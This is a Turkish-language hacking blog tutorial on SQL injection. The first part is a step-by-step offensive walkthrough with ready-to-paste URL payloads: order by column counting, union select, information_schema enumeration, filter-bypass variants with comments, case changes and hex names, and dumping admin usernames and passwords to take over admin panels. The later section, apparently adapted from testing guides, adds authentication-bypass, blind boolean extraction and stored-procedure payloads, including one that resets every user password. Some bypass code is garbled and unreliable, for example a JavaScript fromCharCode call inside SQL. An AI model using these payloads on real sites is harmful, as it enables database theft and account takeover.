SQL injection Kullanımı

Merhaba Arkadaşlar bügün sizlere SQL injection’u anlatıcam.

Konu başlıklarımız ;

1-SQL Injection Nedir?
2-SQL Injection Attack?
3-SQL Injection Tarayıcı?
4-SQL Injection Testi?
5-SQL Injection Aracı?

1-SQL Injection Nedir?;

SQL Injection verileri çalmak için hackerlar tarafından kullanılan web saldırı metodlarından biridir. Belkide günümüzde en yaygın kullanılan uygulama seviyesi tekniklerden biridir. Bir korsanın veritabanı içinde tutulan verilere erişim sağlamasına izin veren bir giriş formu bulmak, SQL komutları çalışmasını sağlayan, web uygulamaları ve yanlış kodlamalardan yararlanarak elde ettiği saldırı türüdür.

Kullanıcı girişi için kullanılabilir, SQL alanları, tablolarını geçerek, doğrudan veritabanını sorgulayarak, SQL injection yapabilirler.

Yani SQL Injection yöntemi ile üye bilgileri, yönetici şifreleri gibi veritabanında bulunup herkese açık olmayan bilgiler elde edilebilir.SQL Injection kullanılarak Yahoo! gibi büyük internet sitelerinin bile veritabanları ele geçirilmiştir.

2-SQL Injection Attack?;

2.1-SQL Injection Açığı Nasıl Bulunur ?
– Manuel Olarak
– Web Vulnerability Scanner Programlarıyla (Vega,Acunetix vs.)

2.2-SQL Injection Açığı Nerelerde ve Nasıl Bulunur ?;
SQL Açığı Bulmak İçin ’ ya da ’a komutlarını kullanırız.Şimdi www.wodhack.com/index.php?id=07 tarzında bi link düşünün , burdaki İd değerinin soruna ’ yada ’a Eki getirdiğimizde Şuna benzer bi hata çıkarsa sitede SQL açığı var demektir.

2.3-SQL Açığı Nerelerde Bulunur ?;
URL , Arama Kutularında, Kayıt Forumları ve Yorum kutularında bulunabilir.

2.4-SQL Saldırı nasıl yapılır ? ;

SQL Saldırıları 4 Adımda Yapılır. İlk Önce sitenin kolon sayısını öğreniriz,Sonra kolon sayısı yardımıyla ekrana kolonları yansıtıcağız,Tablo isimlerini çekicez ve Tablolardan kullanıcı Adı , Şifreyi çekip ekrana yansıtıcaz.

2.4.1-Kolon Sayısını öğrenme;

İşlemi order+by+sayı–   Komutuyla gerçekleştiricez.Örneğin www.wodhack.com/index.php?id=07 URL’nin sonuna +order+by+8– komutunu ekliyelim.

Yani;www.wodhack.com/index.php?id=07 +order+by+8– Olsun Eğer şöyle bir hata çıkarsa ;

Hata: Unknown column 7 in order clause gibi bir hata çıkarsa, anlıyoruz ki kolon sayısı 8den küçük tek tek aşağı iniyoruz yani +order+by+7-,+order+by+6-,+order+by+5- sayfa eski haline gelene kadar.
+order+by+4- de sayda eski haline geri döndü. O zaman kolon sayısı 4 dir. Eğer hala sayfa düzelmezse – yerine +- veya -x getirebilirsiniz.

2.4.2-Kolonları Yansıtma (Yansıtamazsak Bypass);
Arkadaşlar burada +union+select+kolon sayılarını teker teker yazıyoruz — komutunu kullanıcağız bunu URL ’nin sonuna ekliyeceğiz.Mesela www.wodhack.com/index.php?id=07 +union +select+1,2,3,4- şeklinde.

– şimdi ekrana sayılar yansıması lazım. Biz 1 ile 3 yansıdı diyelim. Bu sayılardan birini seçip işleme devam edeceğiz. Eğer sayılar yansımazsa ne yapmamız gerekir. Tabiki de Bypass.

Bypass;

1) Normal: +union +select+1,2,3,4-

Bypass: +/*!union*/+/*!select*/+1,2,3,4-

2) Normal:+union +select+1,2,3,4-

Bypass: +union +(select+1,2,3,4-)

3) Normal:+union +select+1,2,3,4-

Bypass: +#union# +#select#+1,2,3,4-

2.4.3-Tablo İsimlerini Çekmek (İsimleri Alamazsak Bypass);

Evet Burda ise önceki bölümde bulduğumuz 1 ve 3 rakamından birini kullanıcaz.Biz 1’i seçelim bu komut üzerinden çalışıcaz şimdi ilk komut;

A) www.wodhack.com/index.php?id=07 +union +select+database(),2,3,4-
-Bu komut sayesinde sitenin veritabanının ismini öğreniriz.

B) www.wodhack.com/index.php?id=07 +union +select+version(),2,3,4-
-Bu komut sayesinde sitenin veritabanının versiyonunu öğreniriz.

C) www.wodhack.com/index.php?id=07 +union +select,group_concat(table_name),2,3,4+from+information_schema.tables-
– information_schema.tables = veritabanındaki tablo isimlerini gösterir
– information_schema.columns = veritabanındaki kolon isimlerini gösterir

D) www.wodhack.com/index.php?id=07 +union +select+group_concat(table_name),2,3,4+from+information_schema.tables+where+tables_schema=database()-
– Bu kod sayesinde sadece hedef sitenin tablo isimlerini öğreniriz. Şimdi bu kodu gönderelim, gönderdikten sonra sitenin tablo isimleri ekrana yansıyacaktır. Örneğin yansıyan isimleri aşağıya yazalım.
– Tablo İsimleri: admin,yerler,etkinlikler,yaptıklarımız
– Bizim burada ilgileneceğimiz tablo ismi admin dir.

Eğer tablo isimleri yansımazsa işin içine Bypass giriyor.

Bypass

1) Normal: +union +select+group_concat(table_name),,2,3,4+from+information_schema.tables+where+tables_schema=database()-

Bypass: +union +select+group_concat(taBlE_Name),2,3,4+from+information_schema.TabLeS+where+TabLeS_schema=database()-

2.4.4-Tablo İsimlerinden Veriyi Almak (Alamazsak Bypass);

– şimdi adminnin verilerini alacağız. Göndereceğimiz komut şudur;

– www.wodhack.com/index.php?id=07 +union +select+group_concat(CoLumn_Name),2,3,4+from+information_schema.CoLumns+where+TabLeS_schema=database()+and+TabLe_Name=admin-

bu kodu gönderdikten sonra bize admin içindeki sütunlar gelecektir. Örneğin şu sütunların geldiğini farz edelim. user,password,email,phone number Bize lazım olan user ve password

– Eğer sütunlar yansımazsa işin içine Bypass giriyor.

Bypass

1) Normal: www.wodhack.com/index.php?id=07 +union +select+group_concat(CoLumn_Name),2,3,4+from+information_schema.CoLumns+where+TabLeS_schema=database()+and+TabLe_Name=admin-

Bypass: www.wodhack.com/index.php?id=07 +union +select+group_concat(CoLumn_Name),2,3,4+from+information_schema.CoLumns+where+TabLeS_schema=database()+and+TabLe_Name=0x61646d696e-

Arkadaşlar yapmamız gereken şey TabLe_Name=admin buradaki admin kısmını hexlemek admini hexleyeceğiz. Kullanacağımız Hex kodunu ise adminin yerine yazıyoruz.

Normal: admin

Hex: 61646d696e

Kullanacağımız Hex: 0x61646d696e

– Kodu gönderdeğimiz anda user,password,email,phone number isimleri yansıyacak, şimdi ise user ve password sütunlarındaki bilgileri alacağız. Göndereceğimiz Kod:

www.wodhack.com/index.php?id=07 +union +select+group_concat(user,password),2,3,4+from+admin-   kodunu yazıp sayfayı yeniliyoruz.

– şimdi ekrana admini kullanıcı adının ve şifresinin yansıması lazım. Eğer yansımazsa ne yapmamız gerekir. Tabiki Bypass

Bypass

Normal:+union +select+group_concat(user,password),2,3,4+from+admin-

Bypass: +union +select+group_concat(String.fromCharCode(85,83,69,82,188,80,65,83,83,87,79,82,69)),,2,3,4+from+admin-

Charcode:

– Mozillanın hackbar eklentisindeki Charcode programını kullanarak bypass yapacağız user,password charcodelayacağız.

Evet Arkadaşlar şimdi ise tek yapmamız gerek admin paneli kullanarak sisteme giriş yapmak.

3-SQL Injection Tarayıcı?;
SQL İnjection Tarayıcılar birden fazladır örneğin IoXx Sql Injection Scanner,Dark 7 Scanner,SQLI Scanner Wod-Hack Gibi bügün ise sizlere Ordu-yu Lojistik bünyesinde kodlamış olduğum programı tanıtıcam ve bu açıklamada onu kullanıcam.



Programı İndirmek İçin Tıklayınız

4-SQL Injection Testi?;

Bir SQL Injection saldırısı istemci tarafından uygulamaya SQL sorgusu ekleme veya “enjekte” etme ile gerçekleşir. Başarılı bir SQL Injection saldırısı veritabanından önemli bilgilerin okunabilmesi ile, değiştirilebilmesi ile (Insert/Update/Delete), veritabanında yönetici işlemleri yapılabilmesiyle (Veritabanı sunucusunun kapatılması gibi) veya bazı durumlar işletim sistemi komutları çalıştırılabilmesi ile sonuçlanabilir.

Problemin Tanımı;
SQL Injection saldırıları aşağıdaki gibi 3 sınıfa ayrılabilir:

Inband: Veri SQL kodunu enjekte etmekte kullanılan aynı kanal ile elde edilir. Alınan verilerin direk olarak uygulama web sayfasında gösterildiği bu tip kullanım saldırının en düz kullanımıdır.
Out-of-band: Veri farklı bir kanal kullanılarak elde edilir (ör: Sorgunun sonuçlarının test edene eposta ile gönderilmesi)
Sonuç Çıkarma: Gerçekte veri transferi olmaz, fakat test eden belirli bazı istekler gönderip veritabanı sunucusunun davranışını gözlemleyerek bilgiyi oluşturabilir.
Saldırı sınıfından bağımsız olarak, bir SQL Injection saldırısı, saldırganın yazılım olarak doğru bir SQL sorgusu hazırlamasını gerektirir. Eğer uygulama doğru olmayan bir sorgu sebebiyle hata mesajı dönerse, orjinal sorgunun mantığını çözmek ve enjeksiyonu doğru olarak nasıl yapılacağını öğrenmek kolaydır. Bununla beraber, eğer uygulama hata detaylarını gizliyorsa, test edenin orjinal sorgu mantığını tersten çözmesi gerekir. Buna da “Kör SQL Enjeksiyon” (Blind SQL Injection) adı verilir.

Kara Kutu Testleri ve Örnekler;

SQL Enjeksiyon Tespiti;

Test işleminin ilk adımı uygulamamızın verilere erişmek için ne zaman veritabanı sunucusuna bağlandığını anlamaktır. Bir uygulamanın veritabanı ile konuşma ihtiyacı duyduğu durumlara tipik bir örnek olarak:

Kimlik Doğrulama Formları: Kimlik doğrulama bir web formu ile gerçekleştirildiğinde, genelde girilen kullanıcı bilgilerinin, tüm kullanıcı adı ve şifrelerin tutulduğu bir veritabanında karşılaştırılması gerekir.
Arama motorları: Kullanıcı tarafından girilen değer bir SQL sorgusunda kullanılarak veritabanındaki tüm kayıtlarda aranır.
E-Ticaret Siteleri: Ürünler ve özellikleri (fiyat, açıklama, mevcudiyet,..) veritabanında tutulur.
Test işlemini gerçekleştirenin POST isteklerindeki gizli alanlarda dahil SQL sorgusunda kullanılabilecek tüm giriş alanlarının listesini yapması ve tek tek test etmesi, sorguya müdahele edip hatalar yaratması gerekir. İlk testlerden biri tek tırnak (’) veya noktalı vigrül (;) kullanımıdır. Tekli tırnak SQL sorgusunda string sonlandırıcı olarak kullanılır ve uygulama tarafından filtrelenmiyorsa geçersiz bir sorgu ile sonuçlanabilir. Noktalı virgül ise bir SQL sorgusunun sonlandırılmasında kullanılır ve eğer filtrelenmemişse bu da bir hata yaratacaktır. Doğru filtrelenmemiş bir alan (örnekte MS SQL sunucusu) aşağıdaki mesajı verdirebilir:
Microsoft OLE DB Provider for ODBC Drivers error ’80040e14’
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the
character string ’’.
/target/target.asp, line 113

Ayrıca kendisinden sonra gelenlerin bir yorum olduğunu ve göz ardı edilip çalıştırılmaması gerektiğini belirten — karakterleri ve AND OR gibi SQL kelimeleri de sorguyu değiştirmede kullanılır. Basit fakat etkili bir teknik basitçe değerinin rakam olması beklenen bir yere harf girmektir. Aşağıdaki gibi bir hata mesajı ile karşılaşılır:
Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
varchar value ’test’ to a column of data type int.
/target/target.asp, line 113

Örnekteki gibi tam hata mesajları test edene fazla bilgi sağlayarak başarılı bir enjeksiyon yapabilmelerine yardımcı olur. Bununla beraber, bazen uygulamalar hiçbir detay vermeden sadece ’500 Server Error’ veya özel hazırlanmış bir hata sayfası döndürebilir. Bu gibi durumlarda kör enjeksiyon teknikleri kullanmamız gerekir. Her durumda, tüm alanların ayrı ayrı test edilmesi çok önemlidir. Hangi parametrelerin etkilenip hangilerinin etkilenmediğin doğru olarak bulmak için parametrelerden sadece biri değiştirilip diğerleri sabit tutulmalı.

Standart SQL Enjeksiyon Testi;

Aşağıdaki SQL Sorgusunu ele alalım:
SELECT * FROM Uyeler WHERE Kullanici=’$kullanici’ AND Sifre=’$sifre’

Buna benzer sorgular genelde web uygulamasının kullanıcı kimliğini doğrulaması gerektiğinde kullanılır. Eğer sorgu bir değer dönerse bu isim ve şifreye sahip bir kullanıcı olduğuna işaret eder ve kullanıcı sisteme alınır, aksi durumda erişimi engellenir. Giriş alanlarının değerleri genelde kullanıcı tarafından web formuna girilir. Aşağıdaki parametreleri girdiğimizi varsayalım:
$kullanici = 1’ or ’1’ = ’1
$sifre = 1’ or ’1’ = ’1

Sorgu aşağıdaki gibi olacaktır
http://www.example.com/index.php?kullanici=1’%20or%20’1’%20=%20’1&sifre=1’%20or%20’1’%20=%20’1

Kısa bir analiz sonrası sorgunun bir değer (veya birden fazla veri) döndüğünü görürüz çünkü şart her zaman doğrudur (OR 1=1). Bu durumda sistem kullanıcı adı ve şifreyi bilmeden kullanıcının kimlik doğrulamasını yapmış olur.

Bir diğer sorgu tipi olarak:
SELECT * FROM Uyeler WHERE ((Kullanici=’$kullanici’) AND (Sifre=MD5(’$sifre’)))

Bu durumda, iki problemimiz var, biri parantez kullanımı ve diğeri de MD5 hash fonksiyonunun kullanımı. İlk olarak parantez problemini çözelim. Bu basitçe doğru sorguyu tutturana kadar parantez kapama eklemektir. İkinci problemi çözmek için ikinci şartı geçersiz hale getirmeye çalışabiliriz. Sorgumuza yorum başlangıcı karakterini ekleyerek arkasından gelenlerin göz ardı edilmesini sağlayabiliriz. Her veritabanı yönetim sisteminin kendi yorum sembolleri vardır. Fakat çoğu veritabanında kullanılan genel bir sembol /* karakterleridir. Oracle da bu sembol — karakterleridir. Bunu göz önüne alırsak kullanacağımız kullanıcı adı ve şifre değerleri:
$kullanici = 1’ or ’1’ = ’1’))/*
$sifre = falan

Bu sayede sorgu aşağıdaki gibi olur:
SELECT * FROM Uyeler WHERE ((Kullanici=’1’ or ’1’ = ’1’))/*’) AND (Password=MD5(’$password’)))

URL isteği aşağıdaki gibi olur:
http://www.example.com/index.php?kullanici=1’%20or%20’1’%20=%20’1’))/*&sifre=falan

Bazen kimlik doğrulama kodu döndürülen tuple’ın (veritabanında bir kayıt oluşturan veri seti) tam olarak 1’e eşit olduğunu kontrol eder. Önceki örneklerde bu durum zorluk çıkarırdı (veritabanında her kullanıcı için bir değer). Bu problemi aşmak için, döndürülen tuple’ın 1 olduğunu gösteren bir SQL komutu eklememiz yeterlidir. (Kayıt getirildikten sonra) bunu sağlamak için, “LIMIT <rakam>” komutunu kullanırız. <rakam> değeri döndürülmesini istediğimiz tuple sayısını belirtir. Buna göre önceki örneğimizdeki kullanıcı adı ve şifre alanı değerleri aşağıdaki gibi olur:
$kullanici = 1’ or ’1’ = ’1’)) LIMIT 1/*
$sifre = falan

Bu şekilde aşağıdaki gibi bir istek yapabiliriz:
http://www.example.com/index.php?kullanici=1’%20or%20’1’%20=%20’1’))%20LIMIT%201/*&sifre=falan

Union sorgusu SQL Enjeksiyon Testi;

Yapılacak testlerden biri de UNION işlemi kullanımıdır. Bu işlem ile orjinal SQL sorgusuna başka bir sql sorgusu eklemek mümkün olabilmektedir. Eklenen sorgunun sonuçları orjinal sorgununkilere eklenir ve test edenin diğer tablolardaki verilerin değerlerini alabilmesini sağlar. Örneğimiz aşağıdaki gibi olsun:
SELECT AdSoyad, Telefon, Adres FROM Uyeler WHERE Id=$id

Id değişkenine aşağıdaki değeri atayacağız:
$id=1 UNION ALL SELECT krediKartiNumarasi,1,1 FROM KrediKartiTablosu

Aşağıdaki sorguya sahip olmuş olacağız:
SELECT AdSoyad, Telefon, Adres FROM Uyeler WHERE Id=1 UNION ALL SELECT krediKartiNumarasi,1,1 FROM KrediKartiTablosu

Bu da tüm kredi kartı kullanıcılarını orjinal sorgunun sonuçlarına ekleyecektir. ALL parametresi DISTINCT komutu kullanımını aşmak için gereklidir. Kredi kartı numaralarının yanında iki farklı değer daha seçtik. Bu iki değer önemsiz, eklenmesinin sebebi her iki sorgunun da aynı sayıda parametreye sahip olması gerekliliği. Aksi takdirde yazım hatası ile karşılaşılır.

Kör SQL Enjeksiyon Testi (Blind SQL Injection);

İşlem sonuçlarının bilinmediği SQL enjeksiyon tipine Kör SQL Enjeksiyon denir. Bu davranış programcının özel bir hata sayfası hazırlamasıyla sorgu veya veritabanı yapısı hakkında hiçbir bilgi gösterilmemesi ile oluşur (Bir SQL hatası döndürülmez, sadece bir HTTP 500 dönebilir).

Bu engeli aşmak mümkün olabilmektedir. Metod çeşitli Boolean sorgularını sunucuya çalıştırmak, cevapları gözlemlemek ve cevapların anlamını çözmekten oluşur. Örneğimizde yine www.example.com sitesinde id parametresinin SQL enjeksiyondan etkilendiğini varsayalım. Eğer aşağıdaki isteği yaparsak:
http://www.example.com/index.php?id=1’
Özel hazırlanmış bir mesaj olan bir sayfa ile karşılaşıyoruz. Sunucuda çalıştırılan sorgunun aşağıdaki gibi olduğunu varsayalım:
SELECT field1, field2, field3 FROM Users WHERE Id=’$Id’
Bu sorgu da önceki metodlar ile kullanılabilir. Amacımız kullanıcı adı alanı değerlerini elde etmek olsun. Testimiz karakter karakter ayrıştırarak bu alanın değerlerini edinmemizi sağlayacak. Bu hemen hemen tüm veritabanlarında bulunan bazı standart fonksiyonlar ile mümkün. Örneğimizde aşağıdaki pseudo-fonksiyonları kullanacağız:
SUBSTRING (yazi, baslangic, uzunluk): verilen yazının başlangıç pozisyonundan verilen uzunluk ölçüsündeki kısmını geri döndürür. Eğer başlangıç değeri uzunluk değerinden fazla isefonksiyon null değer döndürür.
ASCII(karakter): Girilen karakterin ASCII değerini verir. Eğer karakter 0 ise null değer döndürür.
LENGTH(yazi): Girilen yazidaki karakter sayısını verir.

Bu fonksiyonlarile ilk karakter üzerinde testlerimizi gerçekleştireceğiz ve değeri bulduktan sonra ikinciye geçeceğiz. Bu tüm veri elde edilene kadar devam edecek. Test’de bir kerede sadece bir karakter seçilmesi için SUBSTRING fonksiyonu kullanılacak (tek bir karakter seçimi uzunluk parametresinin 1 olarak verilmesi ile oluyor) ve karakterin ASCII değerini elde etmek için ASCII fonksiyonu kullanılacak, böylece nümerik karşılaştırma yapabileceğiz. İstenen değeri bulabilmek için karşılaştırma sonuçları tüm ASCII tablosu ile yapılacak. Örnek olarak id parametresi için aşağıdakini gireceğiz:
$Id=1’ AND ASCII(SUBSTRING(kullanici,1,1))=97 AND ’1’=’1
Bu da aşağıdaki sorguyu oluşturacak (bundan sonra buna “sonuç çıkarma sorgusu” diyeceğiz):
SELECT field1, field2, field3 FROM Uyeler WHERE Id=’1’ AND ASCII(SUBSTRING(kullanici,1,1))=97 AND ’1’=’1’
Bu sorgu eğer kullanici alaninin ilk karakterinin ASCII değeri 97 ise bir sonuç dönecektir. Eğer yanlış değer alınırsa ASCII tablo indeks değerini 97 değerini 98’e çıkarıyoruz ve isteği tekrarlıyoruz. Eğer doğru değer elde edilirse SUBSTRING fonksiyonu parametrelerini değiştirerek tablonun indeksini sıfırlıyoruz ve bir sonraki karaktere geçiyoruz. Burdaki olay test’in döndürdüğü sonuçlarda doğru ve yanlışı ayırtedebilmek. Bunun için de yanlış değer döndürdüğüne emin olduğumuz bir parametre giriyoruz:
$Id=1’ AND ’1’ = ’2
bu da aşağıdaki sorguyu yaratıyor:
SELECT field1, field2, field3 FROM Uyeler WHERE Id=’1’ AND ’1’ = ’2’
Sunucunun döndüğü cevap (HTML kod) testlerimiz için yanlış değeri oluşturacak. Bazen bu metod işe yaramaz. Sunucunun arka arkaya yapılan iki aynı web isteğine iki farklı sayfa dönmesi durumunda doğru değer ile yanlış değeri birbirinden ayıramayız. Bu özel durumlarda bazı özel filtreler kullanarak iki istek arasında değişen kodu elememiz ve bir şablon edinmemiz gerekir. Daha sonra her bir sonuç çıkarma sorgusu isteği çalıştırmada aynı fonksiyon ile relatif şablonu cevaptan çıkaracağız ve testin sonucuna karar vermek için iki şablon arasında kontrol yapacağız. Önceki testlerde bir değer elde ettiğimiz için sonuç çıkarma sorgusunun ne zaman sonlandığını bilebiliyorduk. Bu testlerdeise SUBSTRING ve LENGTH fonksiyonlarının bir karakteristiğini kullanacağız. Testimiz doğru bir değer döndüğünde ve ASCII kod 0’a eşit olduğunda (null değeri), sona ermiş demektir, veya analiz ettiğimiz değer null değerini içermektedir.
id için aşağıdaki değeri gireceğiz:
$Id=1’ AND LENGTH(kullanici)=N AND ’1’ = ’1
Buradaki N analiz ettiğimiz karakterlerin sayısı (null değeri hariç). Sorgumuz aşağıdaki gibi olacaktır:
SELECT field1, field2, field3 FROM Uyeler WHERE Id=’1’ AND LENGTH(kullanici)=N AND ’1’ = ’1’

Bu da bize doğru veya yanlış bir değer dönecektir. Eğer doğru değer alırsak, sonuç çıkarma işlemimiz tamamlanmış demektir ve parametrenin değerini elde etmişiz demektir. Eğer yanlış değer alırsak, parametre değerinde null değeri var demek ve diğer bir null değeri bulana kadar bir sonrakini test etmeye devam etmemiz gerekmektedir.

Kör SQL Enjeksiyon saldırısı çok yük sayıda sorguya ihtiyaç duyar. Test edenin bu iş için otomatik bir araç kullanması gerekir. Bu işlemi GET istekleri ile MySQL veritabanı için deneyen araçlardan biri olan SqlDumper ekran görüntüsü aşağıda görülebilir:

Stored Procedure Enjeksiyon;

Soru: SQL Enjeksiyon riski nasıl yok edilir?

Cevap: Stored Procedure’ler ile.
Bu cevaba çok rastladım. Aslında stored procedure kullanımı SQL Enjeksiyonu engelleyemeyebilir. Eğer düzgün işlenmezse, stored procedure’ler içindeki dinamik SQL bir web sayfasındaki dinamik SQL kadar enjeksiyona açık olabilir.

Stored procedure içinde dinamik SQL kullanırken, uygulama kod enjeksiyon riskini yok etmek için kullanıcı girişlerini doğru olarak filtrelemelidir. Eğer bu yapılmazsa kullanıcılar stored procedure içinde çalıştırılabilecek kötü amaçlı SQL girebilirler.
Aşağıdaki SQL sunucusu stored procedure’ünü ele alalım:
Create procedure kullanici_login @kullanici varchar(20), @sifre varchar(20) As
Declare @sqlstring varchar(250)
Set @sqlstring =
Select 1 from uyeler
Where kullanici = + @kullanici + and sifre = + @sifre
exec(@sqlstring)
Go

Kullanıcı girişi:
falancakullanici or 1=1’
falancasifre

Yukarıdaki prosedür kullanıcı girişlerini doğru olarak filtrelemektedir.

Örnekteki prosedür pek kullanıcı login işlemi için kullanılmaz. Başka bir örnek olarak kullanıcının görüntülemek istediği kolonları seçtiği bir dinamik raporlama sorgusunu ele alalım. Bu durumda da kullanıcı istediği kodu ekleyebilir.

Aşağıdaki SQL sunucusu stored procedure’ünü ele alalım:
Create procedure get_report @columnamelist varchar(7900) As
Declare @sqlstring varchar(8000)
Set @sqlstring =
Select + @columnamelist + from ReportTable
exec(@sqlstring)
Go

Kullanıcı girişi:
1 from uyeler; update uyeler set sifre = ’olympos’; select *

Bunun sonucunda rapor çalışır ve tüm kullanıcıların şifreleri güncellenir.

5-SQL Injection Aracı?;

SQL İnjection Aracı,Manuel dışında programlarla’da sql injection yapabiliriz.En iyi programlardan biri ise Havij’dir.Havji Güncel olarak SQL Açığı olan siteden tabloları çekme,kullanıcı adı ve şifre öğrenme,Admin panel bulma,Md5 kırma gibi vb. özelliklere sahiptir.Bügünde haviji size anlatıcam umarım beğenirsiniz.

You May Also Like

About the Author: wodhack

Bir cevap yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir